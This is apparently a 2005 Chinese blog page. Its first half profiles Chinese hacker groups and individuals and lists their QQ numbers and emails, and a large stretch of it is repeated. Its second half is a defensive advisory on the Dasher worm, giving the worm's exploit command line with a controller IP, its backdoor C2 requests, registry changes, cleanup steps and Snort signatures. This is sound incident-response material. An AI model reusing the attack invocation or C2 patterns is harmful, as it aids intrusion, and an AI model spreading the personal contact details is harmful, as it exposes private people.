2004年底成立的一个专门挖掘脚本漏洞的组织。已经发展了一年了。在下与H4K_B4N,fpx到是有些接触。感觉这个组织是不错的,虽然没有做什么影响力大的事情,但是这种默默研究技术的精神还是值得发扬的,与那些招摇的比,要好多了。网站上收集了一些漏洞资料,这点到是做的比较好。希望继续努力,发展的越来越好。
火狐技术联盟 http://www.wrsky.com/
2004年建立的一个组织,致力于破解软件的组织。对于他们组织现在很有争议,也曾经一度遭受到猛烈的拒绝服务攻击,造成网站瘫痪长大数月,到现在是一个论坛系统。对于这个组织,到目前为止还是有争议。希望能早日平息。
黑客技术 http://www.hackart.org/
2003年成立的组织,之前使用的是乔客的整站程序,后来就关闭了。也是最近重开的站点,使用的是论坛系统,在下与那里的版主风般的男人和Jambalaya 是好朋友。他们的技术还是不错的。现在论坛人气虽然不怎么高,但显然是老站重开,知道的人还不多,希望日后可以恢复元气,继续发展下去。
国内三大商业黑客站点
黑客基地
http://www.hackbase.com/ 2003年成立。站长龙哥。
黑鹰基地 http://www.3800cc.com/ 由米特创立的商业黑客站点。
华夏黑客同盟 http://www.77169.com/ 2004年由怪狗创立的站点。
其实黑客组织多的数不胜数,我也只是举几个著名的而已。
黑客人物
下面来说说人物吧,现在的黑客越来越多,我重点介绍那些专著于系统与漏洞的高手,当然他们对入侵也是有所造诣的。注意,这并不是排名,不是第一个就是最厉害,而最后一个是这里面技术最差的,如果这样想就错了。因为有时候想着费劲所以就进入一下牛人的BLOG以及一些论坛去看,这样就可以容易记起来,知道写谁。先从这里找http://www.0x557.org/~kkqq/ 然后在从安全焦点的文章和论坛里还有绿盟去找。
alert7 QQ:415451 email:alert7@xfocus.org http://blog.xfocus.net/index.php?blogId=12 安全焦点核心成员,曾经在补天的。精通linux操作系统,对于linux下的漏洞很有研究。
baozi(fatb) QQ:48448355 http://blog.xfocus.net/index.php?blogId=3 对windows与linux下的入侵很精通。
CoolQ QQ:49462335 http://coolq.blogdriver.com/coolq/index.html email:qufuping@ercist.iscas.ac.cn 我也是在安全焦点05年的峰会上认识的他,是中科院软件研究所的学生,对于linux非常有研究。在最后一期的Phrack杂志上有他的文章《Hacking Grub for fun and profit》也是在这期杂志中发表文章的三位中国人之一。另外著作还有《ways to hide files in ext2/3filesystem》
bkbll(dumplogin) email:bkbll@cnhonker.com http://blog.0x557.org/dumplogin/ 原中国红客联盟核心成员,与lion曾经一起参加过中美黑客大战。对windows与linux都很有研究。著作有《POSIX子系统权限提升漏洞的分析》
flashsky QQ:16202253 email:flashsky@xfocus.org http://www.qjclub.net/blog/user1/497/index.html 安全焦点核心成员。精通windows操作系统上的缓冲区溢出,当年就是他一连公布了微软的N个漏洞,微软就此还谴责过安全焦点。现就职于启明星辰。
Flier Lu email:flier@nsfocus.com http://flier_lu.blogcn.com/ 绿盟的高手,精通windows操作系统内核,著作有《MS.Net CLR扩展PE结构分》《自动验证 Windows NT 系统服务描述表》《CLR 中代码访问安全检测实现原理》等等。
funnywei QQ:25044885 email:funnywei@xfocus.org http://blog.xfocus.net/index.php?blogId=28 安全焦点核心成员,熟悉windows操作系统。著作有《WindowsXpSp2溢出保护》
glacier QQ:1937435 email:glacier@xfocus.org http://blog.xfocus.net/index.php?blogId=15 安全焦点核心成员,精通windows编程,网络编程,delphi等等。是冰河木马以及著名扫描软件x-scan的作者。
icbm email:icbm@0x557.org http://blog.0x557.org/icbm/ 精通linux操作系统内核以及漏洞。就职于启明星辰。翻译过文章《Building ptrace injecting shellcodes》是《浅析Linux内核漏洞》的作者。
killer QQ:6362602 email:killer@xfocus.org http://blog.xfocus.net/index.php?blogId=2 安全焦点灌水区版主。精通逆向工程,程序破解。
pjf QQ:85863144 http://pjf.blogcn.com/ 著名的检测工具icesword(冰刃)的作者。很多程序员以及编写rootkit的高手以绕过它的检测工具为目标。熟悉windows操作系统内核。
refdom email:refdom@xfocus.org http://blog.xfocus.net/index.php?blogId=11 安全焦点核心成员,《反垃圾邮件技术解析》的作者。似乎曾经是红客联盟的人。
stardust QQ:6269692 email:stardust@xfocus.org http://blog.xfocus.net/index.php?blogId=7 安全焦点核心成员。熟悉linux,精通IDS。著作有《从漏洞及攻击分析到NIDS规则设计》《Bro NIDS的规则》《Snort 2.x数据区搜索规则选项的改进》《Bro NIDS的安装与配置》
sunwear QQ:47347 email:shellcoder@163.com http://blog.csdn.net/sunwear/ 邪恶八进制核心成员。精通windows操作系统内核。著作有《利用NTLDR进入RING0的方法及MGF病毒技术分析笔记》《浅析本机API》《智能ABC输入法溢出分析》
swan email:swan@xfocus.org http://blog.0x557.org/swan/ 对缓冲区溢出漏洞很有研究。最近的ms05051 Microsoft Windows DTC 漏洞的exploit作者就是他。
tombkeeper QQ:644909 http://blog.xfocus.net/index.php?blogId=9 安全焦点核心成员。精通windows操作系统内核。著作有《用Bochs调试NTLDR》《修改Windows SMB相关服务的默认端口》等等。在焦点峰会上见到过他,很帅。
watercloud http://blog.xfocus.net/index.php?blogId=6 安全焦点核心成员。精通windows,linux操作系统。著作有《手工打造微型Win32可执行文件》《溢出利用程序和编程语言大杂烩》《RSA算法基础->实践》
zwell email:suei8423@163.com http://blog.donews.com/zwell NB联盟核心成员。精通windows操作系统,著作有《安全稳定的实现进线程监控》《一种新的穿透防火墙的数据传输技术》
zzzevazzz QQ:49322630 http://zzzevazzz.bokee.com/index.html 幻影旅团核心成员。原灰色轨迹的人。精通windows操作系统内核。著作有《Do All in Cmd Shell》《无驱动执行ring0代码》等等。
小榕 http://www.netxeyes.org 流光,乱刀,溺雪及命令行SQL注入工具的作者。中国第二代黑客。
lion QQ:21509 email:lion@cnhonker.com http://www.cnhonker.com 原中国红客联盟站长,对缓冲区溢出很有研究。精通linux.windows.
isno QQ:1070681 email:isno@xfocus.org 安全焦点核心成员,精通缓冲区溢出漏洞。webdav溢出程序的作者。写过IDQ,IDA漏洞溢出的分析等等。
sinister QQ:3350124 email:sinister@whitecell.org 白细胞成员。精通windows内核,AIX。著作有《NT 内核的进程调度分析笔记》《NT 下动态切换进程分析笔记》《AIX 内核的虚拟文件系统框架》《AIX 内核的文件操作流程》
袁哥 email:yuange@nsfocus.com 现就职于中联绿盟公司。精通windows操作系统内核以及漏洞利用。
warning3 email:warning3@nsfocus.com msn:warning3@hotmail.com 精通linux unix内核及漏洞。现就职于中联绿盟公司。著作有《Heap/BSS 溢出机理分析》
SoBeIt QQ:27324838 email:kinvis@hotmail.com 精通windows编程以及系统内核还有溢出。著作有《Windows内核调试器原理浅析》,《挂钩Windows API》等等翻译过《在NT系列操作系统里让自己“消失”》
xhacker QQ:66680800 精通渗透入侵以及脚本入侵。著作有《详述虚拟网站的权限突破及防范》,《如何利用黑客技术跟踪并分析一名目标人物》
eyas QQ:320236 email:eyas@xfocus.org 安全焦点核心成员,熟悉windows操作系统,windows编程。著作有《NT平台拨号连接密码恢复原理》,《WS_FTP FTPD STAT命令远程溢出分析》
孤独剑客 QQ:5385757 email:Janker@Hackbase.Com Http://Www.Janker.Org 精通编程。以及入侵技术。winshell的作者。中国第二代黑客。
sunx QQ:239670 http://www.sunx.org 对溢出有研究,写过IDA漏洞和printer漏洞的溢出程序。精通汇编。著作很多。
analysist QQ:20116789 精通数据库与脚本入侵。早年对跨站脚本以及很多脚本漏洞很有研究。著作有《跨站脚本执行漏洞详解》,《BBS2000和BBS3000所存在的安全隐患》
Frankie http://cnns.net 精通windows操作系统,与linux。中国第一代黑客。
rootshell(fzk) QQ:1734398 http://www.ns-one.com 精通windows操作系统,熟悉缓冲区溢出漏洞。老一代的黑客。著作有《最近发现的一个Distributed File System服务远程溢出问题》。
PP QQ:82928 精通windows操作系统。名言:如果想飞得高,就该把地平线忘掉。
tianxing OICQ:911189 网站:http://www.tianxing.org/ 精通windows操作系统与漏洞利用。RPC漏洞利用程序以及网络刺客,网络卫兵的作者。
grip2 QQ:1007270 精通linux操作系统。著作有《一个Linux病毒原型分析》
san QQ:56941 精通windows操作系统以及linux。而且对windows CE很有研究。phrack最后一期的杂志中,刊登过他的文章。
hume QQ:8709369 精通汇编以及windows操作系统。著作有《SEH in ASM 的研究》
backend email:backend@antionline.org 精通linux操作系统。翻译过很多文章,是绿盟的高手。不过已经几年没见在网络上游走了。到是现实中偶尔看到他。
Adam QQ:15898 email:adam@nsfocus.com 绿盟的高手,windows安全版版主。精通windows操作系统。
ipxodi QQ:16175535 email:ipxodi@nsfocus.com 很长时间没看见他了。精通windows操作系统以及缓冲区溢出。著作有《window系统下的堆栈溢出》《Windows 2000缓冲区溢出入门》。这些文章都是造福了很多后辈的。
zer9 QQ:573369 email:zer9@21cn.com 也是很长时间没见到了。早期写过不少文章和工具。也是老一辈的革命家。
whg QQ:312016 email:whg0001@163.com http://WWW.CNASM.COM 不知道算不算白细胞的成员,呵呵。病毒高手。精通汇编。写过不少软件,例如lan下sniff QQ的工具以及sniff工具等等,可以到他的主页上去看。
lg_wu email:lgwu2000@sina.com 在绿盟论坛和安全焦点都见过,对linux精通的很。技术不一般的说。
wowocock QQ:37803144 精通windows操作系统内核,汇编。在驱动开发网以及cvc 轻描淡写见过,技术不一般。著作很多,但是见到的很少。不知道为什么这么好的文章没人转!
baiyuanfan QQ:51449276 这小子在峰会上给我的印象很深。在技术上很下工夫。对windows也算有研究了。著作当然是byshell了。
vxk QQ:355852911 汇编技术很硬,精通windows内核。经常在cvc论坛看到他。
冰血封情 QQ:124839278 邪恶八进制的创始人。中国第四代黑客。感觉这个人很不错。对他的组织比较认可。技术上面还可以。
Polymorphours(shadow3) QQ:120974745白细胞成员。以前叫shadow3.好象换名字了。熟悉windows操作系统,以及缓冲区溢出。著作有《MS05-010许可证记录服务漏洞允许执行代码的分析》《Media Player 8.0 vulnerability》等等。
e4gle QQ:1949479白细胞成员。老一代的黑客。精通linux系统内核以及病毒技术,缓冲区溢出。著作有《程序攻击原理》《Unix系统病毒概述》《高级缓冲溢出的使用》
bingle QQ:45671342很早就认识的一个兄弟了。著作不少,很多都很实用。
wollf QQ:228095 glacier的老婆。一定不能让他知道我是谁,要不我就死定了。她是黑客;)美女黑客!
goodwell:中国早期著名黑客组织-绿色兵团 创始人之一。
yellow QQ:12398890:中华安全网核心成员。熟悉缓冲区溢出与windows编程。
江海客 QQ:741534:曾经参加某个会议的时候见过他,聊的还可以,后来在焦点峰会时又碰了面。此人是反病毒方面的高手。
icmb:启明星辰linux方面的高手。对于漏洞方面很有研究。不带眼睛更漂亮……
先介绍零三年之前的组织。
安全焦点 http://www.xfocus.net/
1999年8月26日由xundi创立,创始人还有quack和casper。后来stardust,isno,glacier,alert7,benjurry,blackhole,eyas,flashsky,funnywei,refdom,tombkeeper,watercloud,wollf等人也加入了近来。站点主页风格一向是很简单。而该组织目前已经成为国内最权威的信息安全站点,也是最接近世界的一个国内组织。目前国内一些技术性比较强的文章都由作者亲自提交到该网站,而国内一些知名的技术属一属二的高手都会去这里的论坛。讨论技术的氛围还可以。而且一些网络安全公司也关注这里的论坛。现在流行的著名扫描工具x-scan的作者就是该组织的成员。从2002年开始,每年都举办一次信息安全峰会,吸引了国内外众多知名网络安全专家关注参加。会议涉及众多领域,备受关注。创造了良好的学术交流氛围。在此祝愿这个组织越走越好。
中国红客联盟(已解散)http://www.cnhonker.com/
借这个机会要说明一下,只有这个红客联盟才配的上是真正的红客联盟,并不是因为他申请了什么专利,而是在大家的眼中,只有他才只真正的红客联盟。这个组织是由lion在2000年12月组建的。曾再2001年带领众多会员参与中美黑客大战,而名震“江湖”。不过这个时代早已逝去,激情的往事也跟着逝去,留给人们的只有回忆。在2005年的最后一天,lion在主页上宣布正式解散。或许很多人难以理解吧。不过这也自有人家的道理。现在外面有N个红盟,我不屑于去关注他们。在此祝福lion,bkbll等人。对sharpwinner我就懒的说什么了。
中国鹰派 http://www.chinawill.com/
与红客联盟一样,都是2000年末创立,并且在2001年参与了中美黑客大战。站长万涛也是早期的绿色兵团成员。并且也参与了在2000年前的几次网络战争。至尽这个组织依然没有倒下。近几年中并没有什么大的事件发生。所以很多人对他都已经没有了什么印象。希望他们越走越好。
邪恶八进制 http://www.eviloctal.com/
2002年由冰血封情创立,当时是以小组模式运营的,而发展到现在已经成为一个30多人的信息安全团队。主页做的很简单,但论坛内容非常丰富,涉及领域众多,在下经常去那里下载学术资料,论坛管理的是我所见过的论坛中最好的。而且讨论氛围也很不错。鄙人与那里的几个核心成员有所接触,都是比较热心的,而且技术都是比较强的。祝愿这个组织越办越好。我对这个团队的发展充满期望。
幻影旅团 http://www.ph4nt0m.org/
2001年创立,发展到现在组织成员已经达到20人,近期组织推出了WIKI平台(http://www.secwiki.com),内容涉及无线网络,病毒与反病毒,以及黑客技术等众多领域。所有的朋友都可以到那里去涂鸦。2002年开放了论坛,目前论坛的技术讨论氛围还是可以的,而且热心人也是很多的。相信这个组织也能走下去。
白细胞(whitecell) http://www.whitecell.org/
2001年创立的一个纯技术交流站点。当时核心成员有sinister,无花果等人,都是国内著名的高手。在2002年后就关闭了,而最近它由回来了。主页与论坛依然都很简单。希望这次回归会带给大家新的气象。
中华安全网 http://www.safechina.net/
2001年4月创立,经过了几次改版后,队伍也发展的比较大,我所熟悉的有yellow,Phoenix等人。到现在,这个网站还在改版中,不过论坛依然开放,在这里还是有讨论空间的。组织内的人技术也都是不错的。希望这次改版后会有大的变化:)。
第八军团
2000年左右由陈三公子组织成立,后经过多次改版。成为了一个VIP制的站点,资源收集量还是不错的。鄙人经常去那里找代理服务器,更新的速度还是可以的。论坛里讨论气氛不是很热烈。希望今后发展的会更好。
来说说这两年成立的黑客组织
BCT http://www.cnbct.org/
2004年底成立的一个专门挖掘脚本漏洞的组织。已经发展了一年了。在下与H4K_B4N,fpx到是有些接触。感觉这个组织是不错的,虽然没有做什么影响力大的事情,但是这种默默研究技术的精神还是值得发扬的,与那些招摇的比,要好多了。网站上收集了一些漏洞资料,这点到是做的比较好。希望继续努力,发展的越来越好。
火狐技术联盟 http://www.wrsky.com/
2004年建立的一个组织,致力于破解软件的组织。对于他们组织现在很有争议,也曾经一度遭受到猛烈的拒绝服务攻击,造成网站瘫痪长大数月,到现在是一个论坛系统。对于这个组织,到目前为止还是有争议。希望能早日平息。
黑客技术 http://www.hackart.org/
2003年成立的组织,之前使用的是乔客的整站程序,后来就关闭了。也是最近重开的站点,使用的是论坛系统,在下与那里的版主风般的男人和Jambalaya 是好朋友。他们的技术还是不错的。现在论坛人气虽然不怎么高,但显然是老站重开,知道的人还不多,希望日后可以恢复元气,继续发展下去。
国内三大商业黑客站点
黑客基地
http://www.hackbase.com/ 2003年成立。站长龙哥。
黑鹰基地 http://www.3800cc.com/ 由米特创立的商业黑客站点。
华夏黑客同盟 http://www.77169.com/ 2004年由怪狗创立的站点。
其实黑客组织多的数不胜数,我也只是举几个著名的而已。
黑客人物
下面来说说人物吧,现在的黑客越来越多,我重点介绍那些专著于系统与漏洞的高手,当然他们对入侵也是有所造诣的。注意,这并不是排名,不是第一个就是最厉害,而最后一个是这里面技术最差的,如果这样想就错了。因为有时候想着费劲所以就进入一下牛人的BLOG以及一些论坛去看,这样就可以容易记起来,知道写谁。先从这里找http://www.0x557.org/~kkqq/ 然后在从安全焦点的文章和论坛里还有绿盟去找。
alert7 QQ:415451 email:alert7@xfocus.org http://blog.xfocus.net/index.php?blogId=12 安全焦点核心成员,曾经在补天的。精通linux操作系统,对于linux下的漏洞很有研究。
baozi(fatb) QQ:48448355 http://blog.xfocus.net/index.php?blogId=3 对windows与linux下的入侵很精通。
CoolQ QQ:49462335 http://coolq.blogdriver.com/coolq/index.html email:qufuping@ercist.iscas.ac.cn 我也是在安全焦点05年的峰会上认识的他,是中科院软件研究所的学生,对于linux非常有研究。在最后一期的Phrack杂志上有他的文章《Hacking Grub for fun and profit》也是在这期杂志中发表文章的三位中国人之一。另外著作还有《ways to hide files in ext2/3filesystem》
bkbll(dumplogin) email:bkbll@cnhonker.com http://blog.0x557.org/dumplogin/ 原中国红客联盟核心成员,与lion曾经一起参加过中美黑客大战。对windows与linux都很有研究。著作有《POSIX子系统权限提升漏洞的分析》
flashsky QQ:16202253 email:flashsky@xfocus.org http://www.qjclub.net/blog/user1/497/index.html 安全焦点核心成员。精通windows操作系统上的缓冲区溢出,当年就是他一连公布了微软的N个漏洞,微软就此还谴责过安全焦点。现就职于启明星辰。
Flier Lu email:flier@nsfocus.com http://flier_lu.blogcn.com/ 绿盟的高手,精通windows操作系统内核,著作有《MS.Net CLR扩展PE结构分》《自动验证 Windows NT 系统服务描述表》《CLR 中代码访问安全检测实现原理》等等。
funnywei QQ:25044885 email:funnywei@xfocus.org http://blog.xfocus.net/index.php?blogId=28 安全焦点核心成员,熟悉windows操作系统。著作有《WindowsXpSp2溢出保护》
glacier QQ:1937435 email:glacier@xfocus.org http://blog.xfocus.net/index.php?blogId=15 安全焦点核心成员,精通windows编程,网络编程,delphi等等。是冰河木马以及著名扫描软件x-scan的作者。
icbm email:icbm@0x557.org http://blog.0x557.org/icbm/ 精通linux操作系统内核以及漏洞。就职于启明星辰。翻译过文章《Building ptrace injecting shellcodes》是《浅析Linux内核漏洞》的作者。
killer QQ:6362602 email:killer@xfocus.org http://blog.xfocus.net/index.php?blogId=2 安全焦点灌水区版主。精通逆向工程,程序破解。
pjf QQ:85863144 http://pjf.blogcn.com/ 著名的检测工具icesword(冰刃)的作者。很多程序员以及编写rootkit的高手以绕过它的检测工具为目标。熟悉windows操作系统内核。
refdom email:refdom@xfocus.org http://blog.xfocus.net/index.php?blogId=11 安全焦点核心成员,《反垃圾邮件技术解析》的作者。似乎曾经是红客联盟的人。
stardust QQ:6269692 email:stardust@xfocus.org http://blog.xfocus.net/index.php?blogId=7 安全焦点核心成员。熟悉linux,精通IDS。著作有《从漏洞及攻击分析到NIDS规则设计》《Bro NIDS的规则》《Snort 2.x数据区搜索规则选项的改进》《Bro NIDS的安装与配置》
sunwear QQ:47347 email:shellcoder@163.com http://blog.csdn.net/sunwear/ 邪恶八进制核心成员。精通windows操作系统内核。著作有《利用NTLDR进入RING0的方法及MGF病毒技术分析笔记》《浅析本机API》《智能ABC输入法溢出分析》
swan email:swan@xfocus.org http://blog.0x557.org/swan/ 对缓冲区溢出漏洞很有研究。最近的ms05051 Microsoft Windows DTC 漏洞的exploit作者就是他。
tombkeeper QQ:644909 http://blog.xfocus.net/index.php?blogId=9 安全焦点核心成员。精通windows操作系统内核。著作有《用Bochs调试NTLDR》《修改Windows SMB相关服务的默认端口》等等。在焦点峰会上见到过他,很帅。
watercloud http://blog.xfocus.net/index.php?blogId=6 安全焦点核心成员。精通windows,linux操作系统。著作有《手工打造微型Win32可执行文件》《溢出利用程序和编程语言大杂烩》《RSA算法基础->实践》
zwell email:suei8423@163.com http://blog.donews.com/zwell NB联盟核心成员。精通windows操作系统,著作有《安全稳定的实现进线程监控》《一种新的穿透防火墙的数据传输技术》
zzzevazzz QQ:49322630 http://zzzevazzz.bokee.com/index.html 幻影旅团核心成员。原灰色轨迹的人。精通windows操作系统内核。著作有《Do All in Cmd Shell》《无驱动执行ring0代码》等等。
小榕 http://www.netxeyes.org 流光,乱刀,溺雪及命令行SQL注入工具的作者。中国第二代黑客。
lion QQ:21509 email:lion@cnhonker.com http://www.cnhonker.com 原中国红客联盟站长,对缓冲区溢出很有研究。精通linux.windows.
isno QQ:1070681 email:isno@xfocus.org 安全焦点核心成员,精通缓冲区溢出漏洞。webdav溢出程序的作者。写过IDQ,IDA漏洞溢出的分析等等。
sinister QQ:3350124 email:sinister@whitecell.org 白细胞成员。精通windows内核,AIX。著作有《NT 内核的进程调度分析笔记》《NT 下动态切换进程分析笔记》《AIX 内核的虚拟文件系统框架》《AIX 内核的文件操作流程》
袁哥 email:yuange@nsfocus.com 现就职于中联绿盟公司。精通windows操作系统内核以及漏洞利用。
warning3 email:warning3@nsfocus.com msn:warning3@hotmail.com 精通linux unix内核及漏洞。现就职于中联绿盟公司。著作有《Heap/BSS 溢出机理分析》
SoBeIt QQ:27324838 email:kinvis@hotmail.com 精通windows编程以及系统内核还有溢出。著作有《Windows内核调试器原理浅析》,《挂钩Windows API》等等翻译过《在NT系列操作系统里让自己“消失”》
xhacker QQ:66680800 精通渗透入侵以及脚本入侵。著作有《详述虚拟网站的权限突破及防范》,《如何利用黑客技术跟踪并分析一名目标人物》
eyas QQ:320236 email:eyas@xfocus.org 安全焦点核心成员,熟悉windows操作系统,windows编程。著作有《NT平台拨号连接密码恢复原理》,《WS_FTP FTPD STAT命令远程溢出分析》
孤独剑客 QQ:5385757 email:Janker@Hackbase.Com Http://Www.Janker.Org 精通编程。以及入侵技术。winshell的作者。中国第二代黑客。
sunx QQ:239670 http://www.sunx.org 对溢出有研究,写过IDA漏洞和printer漏洞的溢出程序。精通汇编。著作很多。
analysist QQ:20116789 精通数据库与脚本入侵。早年对跨站脚本以及很多脚本漏洞很有研究。著作有《跨站脚本执行漏洞详解》,《BBS2000和BBS3000所存在的安全隐患》
Frankie http://cnns.net 精通windows操作系统,与linux。中国第一代黑客。
rootshell(fzk) QQ:1734398 http://www.ns-one.com 精通windows操作系统,熟悉缓冲区溢出漏洞。老一代的黑客。著作有《最近发现的一个Distributed File System服务远程溢出问题》。
PP QQ:82928 精通windows操作系统。名言:如果想飞得高,就该把地平线忘掉。
tianxing OICQ:911189 网站:http://www.tianxing.org/ 精通windows操作系统与漏洞利用。RPC漏洞利用程序以及网络刺客,网络卫兵的作者。
grip2 QQ:1007270 精通linux操作系统。著作有《一个Linux病毒原型分析》
san QQ:56941 精通windows操作系统以及linux。而且对windows CE很有研究。phrack最后一期的杂志中,刊登过他的文章。
hume QQ:8709369 精通汇编以及windows操作系统。著作有《SEH in ASM 的研究》
backend email:backend@antionline.org 精通linux操作系统。翻译过很多文章,是绿盟的高手。不过已经几年没见在网络上游走了。到是现实中偶尔看到他。
Adam QQ:15898 email:adam@nsfocus.com 绿盟的高手,windows安全版版主。精通windows操作系统。
ipxodi QQ:16175535 email:ipxodi@nsfocus.com 很长时间没看见他了。精通windows操作系统以及缓冲区溢出。著作有《window系统下的堆栈溢出》《Windows 2000缓冲区溢出入门》。这些文章都是造福了很多后辈的。
zer9 QQ:573369 email:zer9@21cn.com 也是很长时间没见到了。早期写过不少文章和工具。也是老一辈的革命家。
whg QQ:312016 email:whg0001@163.com http://WWW.CNASM.COM 不知道算不算白细胞的成员,呵呵。病毒高手。精通汇编。写过不少软件,例如lan下sniff QQ的工具以及sniff工具等等,可以到他的主页上去看。
lg_wu email:lgwu2000@sina.com 在绿盟论坛和安全焦点都见过,对linux精通的很。技术不一般的说。
wowocock QQ:37803144 精通windows操作系统内核,汇编。在驱动开发网以及cvc 轻描淡写见过,技术不一般。著作很多,但是见到的很少。不知道为什么这么好的文章没人转!
baiyuanfan QQ:51449276 这小子在峰会上给我的印象很深。在技术上很下工夫。对windows也算有研究了。著作当然是byshell了。
vxk QQ:355852911 汇编技术很硬,精通windows内核。经常在cvc论坛看到他。
冰血封情 QQ:124839278 邪恶八进制的创始人。中国第四代黑客。感觉这个人很不错。对他的组织比较认可。技术上面还可以。
Polymorphours(shadow3) QQ:120974745白细胞成员。以前叫shadow3.好象换名字了。熟悉windows操作系统,以及缓冲区溢出。著作有《MS05-010许可证记录服务漏洞允许执行代码的分析》《Media Player 8.0 vulnerability》等等。
e4gle QQ:1949479白细胞成员。老一代的黑客。精通linux系统内核以及病毒技术,缓冲区溢出。著作有《程序攻击原理》《Unix系统病毒概述》《高级缓冲溢出的使用》
bingle QQ:45671342很早就认识的一个兄弟了。著作不少,很多都很实用。
wollf QQ:228095 glacier的老婆。一定不能让他知道我是谁,要不我就死定了。她是黑客;)美女黑客!
goodwell:中国早期著名黑客组织-绿色兵团 创始人之一。
yellow QQ:12398890:中华安全网核心成员。熟悉缓冲区溢出与windows编程。
江海客 QQ:741534:曾经参加某个会议的时候见过他,聊的还可以,后来在焦点峰会时又碰了面。此人是反病毒方面的高手。
icmb:启明星辰linux方面的高手。对于漏洞方面很有研究。不带眼睛更漂亮……
星期三, 十二月 21, 2005
星期二, 十二月 20, 2005
Net-Worm.Win32.Dashe
Net-Worm.Win32.Dasher(黛蛇)蠕虫公告
近日,一种以利用MS05-051漏洞的新型的蠕虫爆发,该蠕虫在几天内迅速出现多个变种,新变种除了利用MS05-051外,还利用MS04- 045、MS05-039、MSSQL-Hello等漏洞传播,威胁到Windows 2000、Windows XP、Windows 2003等系统。
病毒文件主要分为两部分,一部分为病毒的扫描、溢出部分,一部分是攻击者进行远程控制。
一、扫描:
蠕虫体在运行后会释放出来如下文件:
%System%\wins\Result.txt 结果文件
%System%\wins\SqlExp.exe Exploit.Win32.MS04-045.k
%System%\wins\SqlExp1.exe Exploit.Win32.MS05-039.ac
%System%\wins\SqlExp2.exe Exploit.Win32.MS05-051.d
%System%\wins\SqlExp3.exe Exploit.Win32.MSSQL-Hello.a
%System%\wins\SqlScan.exe NetTool.Win32.TCPPortScanner
%System%\wins\Sqltob.exe Net-Worm.Win32.Dasher.b
同目录下还可能存在42.txt、445.txt、1025.txt、1433.txt等遗留文件。
其中.b变种的sqltob.exe蠕虫体主文件:
[文件信息]
Size: 0x2420 (9248)
MD5:53BAE5B6B6CD8794B05DF2B99B4128BA
PE Appended: at 0x2264 (8804), size 0x1BC (444)
Compiler:LCC Win32
sqltob.exe协调扫描和攻击,攻击采用格式如下:SqlExp.exe -r 222.240.219.143 -p 53 -o 0 -t ip
其中222.240.219.143为“黑客”的控制IP。
1、蠕虫修改注册表,增加如下键:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
键名:SMBDeviceEnabled
键值:dword:00000000
2、修改如下键:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC
键名:Start
修改为:dword:00000004
二、控制:
此组合蠕虫采用如下后门文件控制目标系统:
%ProgramFiles%\nzspfrwy.log keylog文件
%ProgramFiles%\nzspfrwy.dll Backdoor.Win32.PcClient.ij
%ProgramFiles%\nzspfrwy.dl1 Backdoor.Win32.PcClient.hp
%ProgramFiles%\nzspfrwy.sys Backdoor.Win32.PcClient.ij
其中nzspfrwy.sys驱动HOOK系统SSDT来隐藏nzspfrwy*文件。第一次运行将nzspfrwy.dll插入到 svchost进程,并启动一个隐藏的IE进程与远程主机通信。连接域名free???-???.cn/zyangel和DNS??.3322.org域名,前者域名可以下载sdbot相关文件,后者将接受控制者控制。(?为屏蔽的字母)
1、修改如下键:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs\Parameters
键名:ServiceDll
修改为:%ProgramFiles%\nzspfrwy.dll
2、增加如下服务:
服务名称:nzspfrwy
显示名称:nzspfrwy
执行文件路径:C:\Program Files\nzspfrwy.sys
3、采用如下方式与控制者通讯:
PUT /upjpg.asp?501361070000F0FD010026*
GET /index.asp?500261070000F0FD010026*
三、清除办法:(以WIN2000 PRO版为例)
1、任务管理器结束:Sqltob.exe、SqlScan.exe进程。
2、删除%System%\wins下对应文件。
3、修改注册表键停止内核驱动:
开始→运行:regedit.exe
定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nzspfrwy
修改Startdword值为4,重启动系统。
4、重启动后,会在任务管理器中看到没有被隐藏的IE进程,该进程无法用任务管理器结束,可以用ntsd -cq -p pid 结束。
删除%ProgramFiles%\对应的病毒文件。
5、删除残余服务表项:
SC delete nzspfrwy
用注册表编辑器删除此键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_NZSPFRWY
6、恢复HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs\Parameters表项:
键名:ServiceDll
病毒键值:%ProgramFiles%\nzspfrwy.dll
恢复为:%SystemRoot%\system32\rpcss.dll
7、升级系统补丁。
8、在防火墙中屏蔽如下端口:
42
445
1025
1433
四、Snort预警规则:
alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"EXPLOIT MS-SQL Hello Overflow Attempt"; flow:to_server,established; content:"|12 01 00 34 00 00 00 00|"; offset:0; depth:8; dsize:>570; reference:url,www.microsoft.com/technet/security/bulletin/MS02-056.mspx; rev:5;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EXPLOIT UPnP Overflow Attempt"; flow:to_server,established; content:"|ff 53 4d 42 25|"; offset:4; depth:5; content:"|5c 00 50 00 49 00 50 00 45 00 5c 00 00 00|"; offset:72; depth:14; content:"|26 00|"; offset:65; depth:2; content:"|00|"; offset:90; depth:1; content:"|36 00|"; offset:110; depth:2; content:"|90 90 90 90 90 90 90 90 90 90 90 90|"; offset:200; dsize:>1300; reference:url,www.microsoft.com/technet/security/bulletin/MS05-039.mspx; rev:5;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 1024: (msg:"EXPLOIT MSDTC Overflow Attempt"; flow:to_server,established; content:"|05 00 00 83 10 00 00 00 2c 05|"; offset:0; depth:10; content:"|e0 0c 6b 90 0b c7 67 10 b3 17 00 dd 01 06 62 da|"; offset:24; depth:16; content:"|cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00|"; offset:208; dsize:1024; reference:url,www.microsoft.com/technet/security/bulletin/MS05-051.mspx; rev:5;)
